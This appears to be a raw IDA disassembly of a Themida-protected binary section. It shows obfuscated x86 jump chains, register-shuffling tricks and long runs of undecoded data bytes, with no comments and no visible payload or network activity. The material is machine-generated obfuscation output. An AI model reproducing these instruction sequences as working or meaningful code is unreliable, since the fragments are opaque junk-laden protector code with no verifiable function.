loc_558918: ; CODE XREF: Themida_:0055411Bj
add esp, 4
or edx, eax
jmp loc_55E329
; ---------------------------------------------------------------------------
db 89h, 14h, 24h
dd 6E52C9BAh, 0F5C781F1h, 0E916BC09h, 0FFFFEB3Dh, 241C875Fh
dd 28C6045Ch, 0C6B151F0h, 0C828372Ch, 12E93704h, 57000073h
dd 4224B3BFh, 0E4C78112h, 0E9458056h, 6F31h, 0DF84C281h
dd 39E9EBE8h, 8300006Dh, 1EE904C4h, 800000BBh, 0C528C9EDh
dd 0E9C9C580h, 0FFFFF4DDh, 840FC009h, 0FFFFE6D0h, 722568h
dd 241C8900h, 822DE9h, 3AEA8100h, 0E92DB55Eh, 0D8DFh
; ---------------------------------------------------------------------------
loc_5589A0: ; CODE XREF: Themida_:0055CA84j
shr eax, 1
or eax, 604E1EA0h
push ebx
mov ebx, 0F6646F90h
sub eax, ebx
pop ebx
jmp loc_563503
; ---------------------------------------------------------------------------
loc_5589B5: ; CODE XREF: Themida_:005638E4j
not edi
xor edi, 59D14DAh
add edi, 0B5844DFh
sub edx, edi
pop edi
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
mov [esp], ebx
push dword ptr [esp]
mov eax, [esp]
add esp, 4
jmp loc_55A47E
; ---------------------------------------------------------------------------
dd 3510E945h, 69B80000h, 1F7DBD7h, 24048BC1h, 4C481h, 0CD890000h
dd 10532D59h, 0E8014031h, 1053BD55h, 53E94031h, 8BFFFFD0h
dd 0E956242Ch, 90A8h, 2C781h, 3C870000h, 8B665C24h, 0BDE92404h
dd 68000084h, 5EDC7B3Ah, 0E92434FFh, 0FFFFDD58h, 4DE9585Eh
db 15h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_558A3F: ; CODE XREF: Themida_:00562583j
inc edi
sub edi, 0B80F807Dh
sub edx, edi
mov edi, [esp]
jmp loc_552FDE
; ---------------------------------------------------------------------------
dd offset dword_4FE044+724h
dd 895FE900h, 48F0000h, 903EE924h, 9D040000h, 0E3E9D828h
dd 8100009Dh, 42404h, 565F0000h, 7974B850h, 0E8C14CE0h
dd 55590D03h, 29353002h, 896A556Dh, 44E958C6h, 53000007h
dd 4EC81h, 24890000h, 24048324h, 0C3815B04h, 4, 3304EB83h
dd 1C31241Ch, 241C3324h, 2404895Ch, 24048B54h, 91E95452h
db 0E8h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_558ABF: ; CODE XREF: Themida_:00553A8Ej
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
push esi
jmp loc_565453
; ---------------------------------------------------------------------------
dd 6419E955h, 34890000h, 0BC57E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_558AE2: ; CODE XREF: Themida_:005542A9j
push eax
mov eax, 30022E0Fh
sub ecx, 61E02684h
sub ecx, eax
add ecx, 61E02684h
pop eax
sub ecx, 16637366h
push ebx
jmp loc_554327
; ---------------------------------------------------------------------------
loc_558B03: ; CODE XREF: Themida_:0055E52Dj
pop dword ptr [esp]
mov esp, [esp]
or edx, eax
jmp loc_55E6AE
; ---------------------------------------------------------------------------
aBlKwqiSn db 'l$',8,'kwqI)|$',8,'é¸',0
dd 0B1BE5600h, 3114F436h, 0C2895EF0h, 582434FFh, 4C481h
dd 81590000h, 19485BEAh, 4E2C122h, 38CCC281h, 0EAC13806h
dd 51DAF708h, 0DE186CB9h, 0E9CA31FFh, 0FFFFC215h, 4EC81h
dd 4890000h, 68E08924h, 6B2Ah, 0E9243C89h, 0FFFFA7A3h
dd 0BB19EE81h, 0D6F758A7h, 142468h, 24048900h, 0AC3CE9h
dd 0F7295B00h, 81D7015Eh, 0F3655EC7h, 24148B24h, 4C481h
dd 0A7E90000h, 810000A3h, 4C4h, 0FEC58100h, 0E9308F44h
dd 0D611h, 1646C381h, 0DF01B53Ch, 81241C8Bh, 4C4h, 3AE95500h
dd 480000CBh, 76BD5557h, 0BF40F629h, 4E823957h, 295DEF29h
dd 47095FF8h, 24048B1Ch, 81E78957h, 4C7h, 4C78300h, 5C243C87h
dd 0FFA043E9h, 4C681FFh, 52000000h, 404AE9h, 54565800h
dd 0E924348Bh, 0FFFFFD5Fh, 1AB7E95Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_558C12: ; CODE XREF: Themida_:0055E11Cj
push edx
jmp loc_563D0F
; ---------------------------------------------------------------------------
loc_558C18: ; CODE XREF: Themida_:0056539Ej
xor ecx, edi
neg ecx
push edi
push ebp
jmp loc_563E08
; ---------------------------------------------------------------------------
db 31h
dd 0F0015AD6h, 0E246E9h, 2BC28100h, 31FA12ADh, 558EE9D7h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_558C3A: ; CODE XREF: Themida_:0055D945j
push 4861h
push 3DAEh
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
pop esi
jmp loc_55C26E
; ---------------------------------------------------------------------------
loc_558C5B: ; CODE XREF: Themida_:00564474j
jmp loc_552C38
; ---------------------------------------------------------------------------
dd 0E5881BFh, 5FF88952h, 0F1A78105h, 1E0AE9ADh, 0B80000h
dd 89000000h, 0A86EE9C3h, 615C0000h, 0B1E9C39Dh, 0B6FFFF9Fh
dd 5AF0009Bh, 5399045Bh, 9FDBE9h
db 0
; ---------------------------------------------------------------------------
loc_558C95: ; CODE XREF: Themida_:00563642j
mov ebp, 1D01276Bh
mov esi, 0E2FED915h
sub esi, 1FF83234h
jmp loc_5665BF
; ---------------------------------------------------------------------------
dw 0C87h
aS_7 db '$é',0Dh,')',0
align 2
dw 0C729h
dd 22C4C781h, 92E908DAh, 0F70000F4h, 30F168E9h, 14890000h
dd 0E99C5024h, 0FFFF9F68h, 0E924048Fh, 5077h, 5DDAC381h
dd 0BA524FE5h, 67751A23h, 8104E2C1h, 0F61ECFC2h, 71C2810Fh
dd 420F6523h, 66F28142h, 29891E88h, 0FB295AD3h, 6C14C381h
dd 0EB811FB2h, 4FE55DDAh, 5F2434FFh, 0FFC9DAE9h, 4C381FFh
dd 83000000h, 1C8704EBh, 4895C24h, 2474FF24h, 7749E904h
dd 4810000h, 0DB100B24h, 242C812Dh, 4D53149Fh, 3D5ABA52h
dd 0E2815BB2h, 0D381833h, 61D8E9h
db 0
; ---------------------------------------------------------------------------
loc_558D4D: ; CODE XREF: Themida_:00565C85j
push esp
pop ebp
push ebx
mov ebx, 4
add ebp, ebx
pop ebx
push 8D2h
mov [esp], eax
jmp loc_556831
; ---------------------------------------------------------------------------
loc_558D65: ; CODE XREF: Themida_:005537ADj
pop esi
and eax, ebp
pop ebp
sub eax, 160C63CBh
sub eax, 3DBA07AAh
push esi
jmp loc_55CC8C
; ---------------------------------------------------------------------------
aRps db 'RPéË',0Ah,0
align 10h
dd 2C8BE829h, 4C48324h, 0EC83E829h, 24348904h, 0A3392FBEh
dd 5DBDE919h, 0CE810000h, 332B1EB0h, 1296E9h, 24048700h
dd 61F5E9h, 0B4BE5600h, 0E979AB2Ah, 0FFFFC2EDh, 2434875Ah
dd 8924248Bh, 0EC812414h, 4, 57241C89h, 591F6CBFh, 0D4C78160h
dd 81393838h, 163106F7h, 5FFB8981h, 0F386E951h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_558DE6: ; CODE XREF: Themida_:00552EE3j
push dword ptr [esp]
mov edx, [esp]
add esp, 4
push eax
jmp loc_56167F
; ---------------------------------------------------------------------------
dd 0ED81D5F7h, 0E4F210C9h, 0A164E953h, 0E9570000h, 76C4h
dd 0E9241487h, 854Ch, 24048B66h, 815B5453h, 4C3h, 0C952E900h
dd 48F0000h, 24248B24h, 0FF9E07E9h, 460C68FFh, 2C890000h
dd 15CFE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_558E3E: ; CODE XREF: Themida_:0055E74Fj
mov [esp], ebp
mov ebp, 74F9285Dh
shr ebp, 1
neg ebp
add ebp, 0FFFFFFFFh
jmp loc_5540AC
; ---------------------------------------------------------------------------
dw 0E189h
dd 4C181h, 0BA520000h, 2, 0FFF0B3E9h, 6866FFh, 24142800h
dd 8324148Ah, 0C28002C4h, 5AD028D6h, 0FF9E0CE9h, 4C681FFh
dd 87000000h, 1CE92434h, 81FFFFC3h, 0DE1E53C3h, 9CE4E932h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_558E96: ; CODE XREF: Themida_:0055FCAFj
push 1D40h
mov [esp], ecx
jmp loc_559881
; ---------------------------------------------------------------------------
aUs_q db 'Ué_q',0
db 0
; ---------------------------------------------------------------------------
loc_558EA9: ; CODE XREF: Themida_:00566AEFj
or ecx, 53A217A1h
sub ecx, 0E262BE47h
xor edi, ecx
jmp loc_55F929
; ---------------------------------------------------------------------------
loc_558EBC: ; CODE XREF: Themida_:00553B6Cj
add esi, 4
jmp loc_567E56
; ---------------------------------------------------------------------------
loc_558EC4: ; CODE XREF: Themida_:00559375j
push ebp
mov ebp, 2C194F74h
jmp loc_5575D6
; ---------------------------------------------------------------------------
db 58h
dd 0FFE6E2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_558ED5: ; CODE XREF: Themida_:0056002Bj
mov esi, [esp]
add esp, 4
add esi, 63610382h
push eax
jmp loc_564A01
; ---------------------------------------------------------------------------
dw 0C680h
dd 0FFC60066h, 83582434h, 0D6F604C4h, 0E680D6F6h, 80D6F617h
dd 0B75301EEh, 5BFE28A2h, 0E95AF528h, 0FFFFAD61h, 0E1C1D9F7h
dd 30F18106h, 1063C4Eh, 240C8BC8h, 4C481h, 8B500000h, 0E956241Ch
dd 0FFFFD128h, 1A92E953h, 0FA090000h, 81243C8Bh, 4C4h
dd 0A0BD5500h, 0C176BC37h, 0CD8107E5h, 21CC0D9Ah, 0E905E5C1h
dd 283Eh, 24048B66h, 0E3895356h, 4C381h, 0EB810000h, 4
dd 5C241C87h, 24048F54h, 46851h, 81590000h, 4D042444h
dd 815B633Eh, 0D8042444h, 148553Ah, 8104244Ch, 0D804246Ch
dd 8148553Ah, 4ECh, 242C8900h, 0A4DDE9h, 5EFC100h, 3DF3F781h
dd 0FD891A54h, 0FFEE015Fh, 835D2434h, 2C8B04C4h, 4C48324h
dd 0E040E9h, 48B5300h, 3D30E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_558FCE: ; CODE XREF: Themida_:0055D0CDj
sub ecx, 0FFFFFFFFh
dec ecx
sub ecx, 1B7E62A1h
jmp loc_553CA7
; ---------------------------------------------------------------------------
loc_558FE0: ; CODE XREF: Themida_:005675ABj
sub edx, 7DDF1D4Bh
jmp loc_562A35
; ---------------------------------------------------------------------------
db 0B9h
dd 4, 8759CB01h, 525C241Ch, 4BAh, 5AD60100h, 31243433h
dd 34332434h, 24248B24h, 8F68F1F7h, 89000072h, 9C502414h
dd 0FF9C1BE9h, 50D701FFh, 0F5311AB8h, 4BC78105h, 293B082Eh
dd 4BEF81C7h, 8B3B082Eh, 0C4832404h, 3C335A04h, 243C3124h
dd 8B243C33h, 8B662424h, 5456240Ch, 0FFA0A8E9h, 4C481FFh
dd 68000000h, 2AF7h, 0BD242C89h, 6A20065Ah, 3089C581h
dd 0E5C13251h, 0B7D6E907h, 0C4810000h, 4, 3FBBE9h
db 0
; ---------------------------------------------------------------------------
loc_55907D: ; CODE XREF: Themida_:00553017j
mov edx, 20h
sub edx, 5F674B66h
add edx, edi
add edx, 5F674B66h
push ecx
jmp loc_5602A3
; ---------------------------------------------------------------------------
dw 605h
aSC db ':Ì]éÑc',0
align 10h
dd 0E92434FFh, 0FFFF9E53h
; ---------------------------------------------------------------------------
loc_5590A8: ; CODE XREF: Themida_:00553561j
add esp, 4
jmp loc_555C17
; ---------------------------------------------------------------------------
loc_5590B3: ; CODE XREF: Themida_:00562E3Dj
shl ebp, 7
jmp loc_5621A3
; ---------------------------------------------------------------------------
loc_5590BB: ; CODE XREF: Themida_:0055EEDCj
not ecx
push edi
mov edi, 4F434FE5h
dec edi
not edi
or edi, 6F5D5A0Ah
not edi
push edi
jmp loc_555EC8
; ---------------------------------------------------------------------------
dd 0BB53DEF7h, 2F817070h, 0D3F7DBF7h, 0E3C1D3F7h, 81DBF707h
dd 5F714CF3h, 6EBC1CDh, 6167EB81h, 0C381414Fh, 9CB92E38h
dd 1C8BDE01h, 4C48124h, 81000000h, 0E03426F6h, 0A1B1E943h
dd 88590000h, 24148BF1h, 320E9h, 241C8900h, 0C381E389h
dd 4, 2245B951h, 54553059h, 4C5815Dh, 81000000h, 4EDh
dd 0B38AE900h, 0C05AFFFFh, 0E95008E1h, 0A282h, 1C8BD829h
dd 4C48324h, 2E8C148h, 0DA05D0F7h, 2D08B865h, 0A7A217A3h
dd 3E4BE9h, 0C0B60F00h, 24148B66h, 4EC81h, 0C890000h, 4EC8124h
dd 89000000h, 0DCE92424h
db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_559187: ; CODE XREF: Themida_:0055510Dj
xor [esp], ebp
jmp loc_562011
; ---------------------------------------------------------------------------
loc_55918F: ; CODE XREF: Themida_:0055DA85j
add ebx, eax
sub ebx, 38571E04h
push eax
mov eax, 4C1B6A7Dh
sub eax, 57DA6F62h
or eax, 79906497h
jmp loc_559891
; ---------------------------------------------------------------------------
loc_5591AC: ; CODE XREF: Themida_:005646C3j
add esi, edx
jmp loc_55F73E
; ---------------------------------------------------------------------------
loc_5591B3: ; CODE XREF: Themida_:00554D68j
sub dword ptr [esp], 7BB2321Dh
pop ecx
add ecx, 7BB2321Dh
jmp loc_557358
; ---------------------------------------------------------------------------
dw 5104h
dd 512CE800h, 5AE95359h, 56FFFFBEh, 5E2414F7h, 0BF57D6F7h
dd 209A0BA2h, 0C15FFE01h, 0BD5508E6h, 3A9644FEh, 92BCD81h
dd 0ED81158Dh, 0DA615603h, 15DEE29h, 0EF815EF7h, 4, 0E8BE9h
dd 62E95400h, 5800007Ah, 307B850h, 0E9553862h, 0FFFFAA46h
dd 3AC6BA52h, 0D3314E7Dh, 1CF7535Ah, 0B48AE924h, 0C531FFFFh
dd 0F1F58158h, 0E918BD46h, 0E7A3h, 0E82899B5h, 81240C8Bh
dd 4C4h, 0E9A30400h, 691Bh, 1DBBB850h, 44E9594Eh, 2D0000CDh
dd 663E286h, 31E9C189h
db 7Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_559267: ; CODE XREF: Themida_:005613D1j
add bl, 56h
sub bl, ah
jmp loc_562DE1
; ---------------------------------------------------------------------------
db 89h, 2Ch, 24h
dd 0C5815D54h, 4, 5BEEE9h
db 0
; ---------------------------------------------------------------------------
loc_559281: ; CODE XREF: Themida_:0055C8F6j
add ecx, 0FDBFFF81h
add eax, ecx
pop ecx
push ebx
mov ebx, 4
jmp loc_564499
; ---------------------------------------------------------------------------
db 56h, 89h, 0E6h
dd 4BF57h, 0FE010000h, 0CB67E9h
db 0
; ---------------------------------------------------------------------------
loc_5592A5: ; CODE XREF: Themida_:0055697Ej
push 13964023h
mov ebp, [esp]
add esp, 4
add ebp, 35386DFBh
jmp loc_556A87
; ---------------------------------------------------------------------------
loc_5592BE: ; CODE XREF: Themida_:0055EBFDj
add ebx, 0FFFFFFFFh
sub ebx, 54893C44h
jmp loc_55B9A8
; ---------------------------------------------------------------------------
db 89h
dd 0DABD242Ch, 0F760F876h, 25C581DDh, 4D656232h, 6564ED81h
dd 0B6E976FCh, 0C100001Ch, 3D2D02E8h, 487C984Bh, 7DBA5253h
dd 0E94D4172h, 7A4h, 2EC2815Dh, 810FBB71h, 9D28FDEAh, 25C2816Dh
dd 0E96B7529h, 0DD38h, 5C243C33h, 0FF9917E9h, 8BD189FFh
dd 0C4832414h, 2B32E904h, 0C6810000h, 502BD6A7h, 0F5E9F129h
dd 8900006Ch, 0E9555EF7h, 0FFFFE798h, 8B24048Fh, 8B662424h
dd 0E9562404h, 6B98h, 8904EC83h, 0BB53240Ch, 5A5315F6h
dd 82E9D989h, 5A00005Fh, 0C7FEEFD0h, 0E90DEF80h, 9EC0h
; ---------------------------------------------------------------------------
loc_559374: ; CODE XREF: Themida_:00564678j
pop ebx
jmp loc_558EC4
; ---------------------------------------------------------------------------
dw 3433h
dd 0F2EBE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_559382: ; CODE XREF: Themida_:00556A1Cj
mov eax, [esp]
add esp, 4
jmp loc_565952
; ---------------------------------------------------------------------------
dd 0ACE9D5F7h, 89000085h, 17E9241Ch, 89000090h, 4B9240Ch
dd 1000000h, 240C8BCDh, 8104C483h, 4C5h, 4EC8100h, 89000000h
dd 0AAE9242Ch, 81000002h, 4ECh, 24048900h, 42474FFh, 24048F58h
dd 2434895Ch, 29B76851h, 0C1597D15h, 6805E1h, 81000000h
dd 53C52404h, 0EFE94B07h, 66FFFFC4h, 6824048Bh, 717Ch
dd 54241489h, 4EC835Ah, 5A4AE9h, 14895C00h, 87E95124h
dd 810000A8h, 0F43A87E9h, 4EC813Eh, 0E9000000h, 23E9h
; ---------------------------------------------------------------------------
loc_559424: ; CODE XREF: Themida_:0055C2B2j
pop eax
push esi
sub esp, 4
mov [esp], esp
jmp loc_556FD2
; ---------------------------------------------------------------------------
db 5Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_553EB9
; ---------------------------------------------------------------------------
db 53h, 89h, 0E3h
dd 4C381h, 0FBE90000h
db 45h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55944B: ; CODE XREF: Themida_:005612FBj
mov eax, 24h
add eax, edi
push edi
jmp loc_55CC5F
; ---------------------------------------------------------------------------
dd 4244481h, 3F822D2Dh, 5524048Bh, 2E4EE9h, 54530500h
dd 52536D55h, 604A18BAh, 5AD38913h, 0FF9E72E9h, 0E9C589FFh
dd 315Bh
; ---------------------------------------------------------------------------
loc_559484: ; CODE XREF: Themida_:00561B65j
sub ebp, ebx
push dword ptr [esp]
pop ebx
add esp, 4
xor ebp, [esp]
xor [esp], ebp
jmp loc_55B2C6
; ---------------------------------------------------------------------------
db 0BDh
dd 4D363ECDh, 3527CD81h, 0EDD151E8h, 16CFF581h, 0EB8957F3h
dd 0FFA95AE9h, 0E9535EFFh, 3481h, 1086C281h, 0FA010546h
dd 0D583E951h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5594CA: ; CODE XREF: Themida_:00562B40j
mov ebx, 4A7B7273h
mov eax, 1E2697A4h
add eax, ebx
jmp loc_556E51
; ---------------------------------------------------------------------------
db 5Bh
dd 8B24048Fh, 0D8E92424h
db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5594E7: ; CODE XREF: Themida_:0055B965j
mov dx, [esp]
add esp, 2
sub bl, 0F6h
sub bl, 60h
add bl, al
push cx
push dx
mov dl, 60h
jmp loc_566B36
; ---------------------------------------------------------------------------
db 81h, 0C5h, 4
dd 68000000h, 5205h, 0E9241C89h, 688Eh, 0C381D3F7h, 15E767C5h
dd 0C291EB81h, 0DA8903CAh, 0EC81525Bh, 4, 68243489h, 246557A3h
dd 0FFB2A4E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_559539: ; CODE XREF: Themida_:005611DBj
xchg edx, [esp]
pop esp
jmp loc_568194
; ---------------------------------------------------------------------------
aQhJ db 'Qh¿J',0
align 4
dd 68242489h, 39FDh, 0E9242C89h, 1EB2h
; ---------------------------------------------------------------------------
loc_559558: ; CODE XREF: Themida_:0055EB7Cj
mov edx, 3AA75AB1h
not edx
push esi
mov esi, esp
add esi, 4
sub esi, 4
jmp loc_563EB0
; ---------------------------------------------------------------------------
dd 0C8BCF29h, 553FE924h, 0C2830000h, 24143304h, 33241431h
dd 0D35C2414h, 0A9E92424h
db 96h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55958F: ; CODE XREF: Themida_:0055FF6Bj
add dword ptr [esp], 4
pop ebx
push esi
mov esi, 714350C0h
jmp loc_55F6DD
; ---------------------------------------------------------------------------
aSvso db 'SVé®',1Bh,0
align 2
aSp db '\é¯Ð',0
align 4
dd 5C243487h, 8B24048Fh, 0C8852424h, 967AE99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5595BE: ; CODE XREF: Themida_:005532D5j
add edi, 292F3F83h
neg edi
sub edi, 0B1295082h
add ebx, 63BC5193h
jmp loc_55F882
; ---------------------------------------------------------------------------
loc_5595D7: ; CODE XREF: Themida_:00561576j
pop ecx
push eax
jmp loc_5599F3
; ---------------------------------------------------------------------------
dw 0F000h
dd 272C7D2Ch, 0A8E9B704h, 29FFFFB3h, 0B9E981F9h, 8B2C6139h
dd 0C481243Ch, 4, 0F181D9F7h, 56925324h, 6BA7E9h, 0E930FF00h
dd 0FFFF9628h, 585ACB81h, 36E9058Eh
db 0D5h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55961B: ; CODE XREF: Themida_:00564B6Dj
dec edi
jmp loc_55D420
; ---------------------------------------------------------------------------
loc_559621: ; CODE XREF: Themida_:00567189j
sub [edi+24h], ecx
push dword ptr [esp]
jmp loc_564A0E
; ---------------------------------------------------------------------------
dd 83243C8Bh, 348704C4h, 0BB535C24h, 4, 0FFCB79E9h, 0E9E789FFh
dd 0CC51h, 62C6BA52h, 5EE966FDh, 5C0000C8h, 0E9240489h
dd 6626h, 582434FFh, 4C481h, 50660000h, 0FFDD45E9h, 2474FFFFh
dd 242C8B04h, 4C481h, 48F0000h, 0E9535C24h, 81B6h
; ---------------------------------------------------------------------------
loc_559684: ; CODE XREF: Themida_:0056451Bj
push edx
push ebp
mov ebp, 59297F0Ah
sub ebp, 0CC828BBh
sub ebp, 4C61564Bh
push ebp
jmp loc_55B357
; ---------------------------------------------------------------------------
db 58h, 0E9h, 0BFh
dd 89FFFFE1h, 0DBAE9E7h, 0F7810000h, 60366EBFh, 39E9F901h
db 90h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5596B7: ; CODE XREF: Themida_:00561B06j
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_561A74
; ---------------------------------------------------------------------------
dd 4BDh, 5DE92900h, 31240C33h, 0C33240Ch, 0D1FE924h, 0C310000h
dd 240C3324h, 5024248Bh, 42474FFh, 5826E958h, 348B0000h
dd 4C48124h, 0E9000000h, 88A4h, 78116857h, 0C15F406Ch
dd 4CE906E7h, 5100001Ah, 0D1CBE9h, 4C78100h, 50000000h
dd 4B8h, 5FEF8100h, 8145E75Fh, 0DA22C4EFh, 0F580E908h
dd 1C33FFFFh, 3567E924h, 0F2810000h, 29BD180Eh, 3F02F281h
dd 4A4A7F59h, 0C313C281h, 0D6018B6Dh, 0A755E9h, 40478F00h
dd 0FF94DBE9h, 93ED81FFh, 813CED13h, 903FD5C5h, 4BE95A72h
dd 890000B3h, 0EC81241Ch, 4, 81242489h, 42404h, 1C8B0000h
dd 0D21CE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55978A: ; CODE XREF: Themida_:005621AAj
mov esi, 0C077F777h
jmp loc_5537AB
; ---------------------------------------------------------------------------
dd 5C241487h, 4C681h, 89E90000h, 890000CEh, 8BE95DEFh
db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5597AB: ; CODE XREF: Themida_:0055C6BCj
xor ecx, 0FEFADBF5h
add eax, ecx
jmp loc_563CCE
; ---------------------------------------------------------------------------
dd 55BDE89h, 244906F9h, 7C183D2Dh, 0E9F02932h, 5A92h, 288CC380h
dd 8CEB80CBh, 9CC3E9h, 472C6800h, 14890000h, 5A1DBA24h
dd 0EA8126ECh, 15D84309h, 7FD0BD55h, 0EA092AD2h, 13AFE95Dh
dd 680000h, 0FF000000h, 34FF2434h, 0A6E95B24h, 290000BAh
dd 0FA015AD7h, 79EAE9h, 24148900h, 994DE9h, 0C875D00h
dd 96CEE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_559826: ; CODE XREF: Themida_:00566DBAj
mov esi, 3F0A7FAAh
inc esi
or esi, 15C04F98h
sub esp, 4
jmp loc_5624A6
; ---------------------------------------------------------------------------
loc_55983A: ; CODE XREF: Themida_:00560215j
mov esp, [esp]
push 56Bh
mov [esp], eax
push esp
jmp loc_563A55
; ---------------------------------------------------------------------------
aCiSw db '°—ˆÆéW$',0
align 4
dd 33241431h, 0E95C2414h, 0FFFF9BC7h, 7213DE35h, 0F1152D2Fh
dd 0E91F60h, 29000000h, 8FE958C6h, 5F000034h, 565AD509h
dd 9B3AE9h
db 0
; ---------------------------------------------------------------------------
loc_559881: ; CODE XREF: Themida_:00558E9Ej
mov ecx, 38653162h
shr ecx, 1
push ecx
not dword ptr [esp]
jmp loc_561561
; ---------------------------------------------------------------------------
loc_559891: ; CODE XREF: Themida_:005591A7j
push eax
not dword ptr [esp]
pop eax
or eax, 5F951918h
jmp loc_565C90
; ---------------------------------------------------------------------------
dd 0AC2D7CB9h, 244C3144h, 815D5904h, 0AC2D7CF5h, 0E9295E44h
dd 240C875Dh, 8924248Bh, 0BE56243Ch, 74461981h, 0F75EF789h
dd 3E7C1DFh, 0EC668h, 242C8900h, 9A60AABDh, 68D5F74Fh
dd 53C0h, 0E9240489h, 5B3Dh
; ---------------------------------------------------------------------------
loc_5598E8: ; CODE XREF: Themida_:0055503Bj
pop ebx
xor ebp, [esp]
xor [esp], ebp
jmp loc_552F11
; ---------------------------------------------------------------------------
loc_5598F4: ; CODE XREF: Themida_:00554338j
mov ebx, 56F15E4h
jmp loc_55812F
; ---------------------------------------------------------------------------
dw 5158h
dd 0A724DEB9h, 59C8311Bh, 8124148Bh, 4C4h, 0D5ABE900h
dd 0EF01FFFFh, 243C875Dh, 24048F5Ch, 0E924248Bh, 92C5h
dd 0E0C1405Fh, 7B190508h, 0EA81AFE4h, 6B334B58h, 0C281C229h
dd 6B334B58h, 8EE95058h
db 8Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_559947: ; CODE XREF: Themida_:00553F73j
push dword ptr [esp]
pop esi
jmp loc_55D635
; ---------------------------------------------------------------------------
dd 0E924148Bh, 0FFFFAEFCh
; ---------------------------------------------------------------------------
loc_559958: ; CODE XREF: Themida_:00568184j
push ecx
jmp loc_55CF15
; ---------------------------------------------------------------------------
dw 34FFh
dd 2434FF24h, 4C48358h, 0E904C483h, 0FFFFF0E0h, 0FF3C77FFh
dd 0ABE92434h
db 2Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55997B: ; CODE XREF: Themida_:00567BB7j
mov ebx, [esp]
push ebx
jmp loc_557648
; ---------------------------------------------------------------------------
aSSni db 'S³^éN›',0
align 4
dd 8324048Bh, 2CE904C4h, 0FF000021h, 2FE92434h
db 68h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55999F: ; CODE XREF: Themida_:0055B35Ej
pop edx
sub edx, 579511BBh
pop ebp
add eax, edx
pop edx
xor eax, [esp]
jmp loc_55BB83
; ---------------------------------------------------------------------------
dw 48Fh
aHA db '$\hÎa',0
dw 0E900h
dd 8CA2h, 6624248Bh, 6824048Bh, 69A5h, 0E9240489h, 0B0Ch
dd 0D5C3E95Eh, 0E956FFFFh, 631Ah, 0F1B68h, 243C8900h, 0B738E9h
dd 2E95400h
db 0DCh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5599F3: ; CODE XREF: Themida_:005595D9j
mov eax, 5B832367h
jmp loc_5567A9
; ---------------------------------------------------------------------------
db 8Bh, 14h, 24h
dd 0C104C483h, 0E98107E9h, 0D81020h, 38FCBF57h, 0EE811620h
dd 0FFD2F3Fh, 0C681FE01h, 0FFD2F3Fh, 2AC6815Fh, 11C1E00h
dd 2AEE81CEh, 811C1E00h, 2038FCEEh, 0BF575916h, 4, 565FFE01h
dd 42474FFh, 8324348Bh, 48F04C4h, 24248B24h, 81C8BE0Fh
dd 4ECh, 241C8900h, 0C381E389h, 4, 0D191E9h, 81C30100h
dd 774129C3h, 8AE95844h
db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_559A77: ; CODE XREF: Themida_:005648A8j
add ecx, edx
pop edx
add ebx, ecx
pop ecx
push 537Ch
mov [esp], ebp
mov ebp, 38571E04h
add ebx, 22BD61A3h
jmp loc_561639
; ---------------------------------------------------------------------------
db 81h, 0ECh, 4
dd 89000000h, 0E9512404h, 70F3h, 95AD389h, 3434E9D8h, 89530000h
dd 4C381E3h, 0E9000000h, 9D6Dh, 1F5D6856h, 815E7D1Bh, 675C2DE6h
dd 5D36684Ch, 0C890000h, 0FFFFB924h, 0CE01FFFFh, 0CCE8159h
dd 81525628h, 797D2DF6h, 3910E97Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_559AEA: ; CODE XREF: Themida_:00563082j
mov [esp], eax
mov eax, 4
sub edx, eax
pop eax
xchg edx, [esp]
mov esp, [esp]
mov [esp], ebp
push 28F745FBh
jmp loc_55B36B
; ---------------------------------------------------------------------------
aBAASng db 'Ç|a',27h,'éN£',0
dw 0F700h
dd 0E5BD55DFh, 8147106Dh, 603B92CDh, 1C58110h, 10891ADh
dd 0EF815DEFh, 54E752FCh, 11CD6852h, 0E95A1A85h, 0FFFFBF02h
dd 648D685Ch, 34890000h, 5CBB5324h, 8119F63Dh, 55802F3h
dd 0BE9533Dh
db 0D5h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_559B57: ; CODE XREF: Themida_:00563439j
sub dl, ah
pop eax
sub dl, 0FFh
xor dl, 0ABh
jmp loc_5573BB
; ---------------------------------------------------------------------------
db 56h, 0E9h, 0FBh
dd 89FFFFE1h, 0C3815AD1h, 6F890C92h, 2E9CB01h, 8FFFFFDBh
dd 248B2404h, 4896624h, 14F76624h, 48B6624h, 25E95224h
dd 0FF0000D3h, 34FF2434h, 81535824h, 4ECh, 24248900h, 4240483h
